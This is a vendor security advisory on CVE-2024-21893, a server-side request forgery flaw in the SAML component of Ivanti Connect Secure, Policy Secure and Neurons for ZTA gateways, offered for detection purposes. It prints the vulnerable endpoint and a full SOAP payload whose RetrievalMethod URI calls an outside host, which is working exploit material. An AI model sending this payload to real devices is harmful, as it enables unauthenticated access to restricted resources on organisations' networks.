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Ivanti Connect Secure, Policy Secure, and Neurons for ZTA gateways SSRF (CVE-2024-21893)



Application Details

Ivanti Connect Secure (ICS) is a secure access product which offers secure connection between remote users and their organisation’s wider network.


Ivanti Policy Secure (IPS) is a network access control (NAC) solution which provides network access only to authorised and secured users and devices.


Vulnerability

Ivanti Connect Secure (formerly Pulse Secure), Policy Secure, and Neurons for ZTA gateways are vulnerable to server-side request forgery, caused by a flaw in the SAML component.


Identification

An attacker could exploit this vulnerability to access restricted resources without authentication on vulnerable devices.

POST /dana-ws/saml20.ws

PAYLOAD -
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
			<ds:SignedInfo>
				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
			</ds:SignedInfo>
			<ds:SignatureValue>qwerty</ds:SignatureValue>
			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
				<ds:RetrievalMethod URI="http://192.168.86.35:4444/hack%20the%20planet"/>
				<ds:X509Data/>
			</ds:KeyInfo>
			<ds:Object></ds:Object>
		</ds:Signature>
	</soap:Body>
</soap:Envelope>

Detection

By turning this into a traffic file and matching rule, we are able to detect attempts to access restricted resources, without authentication.


Coverage

Idappcom have created signature 8024637 along with a traffic file for this vulnerability.


References


Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional

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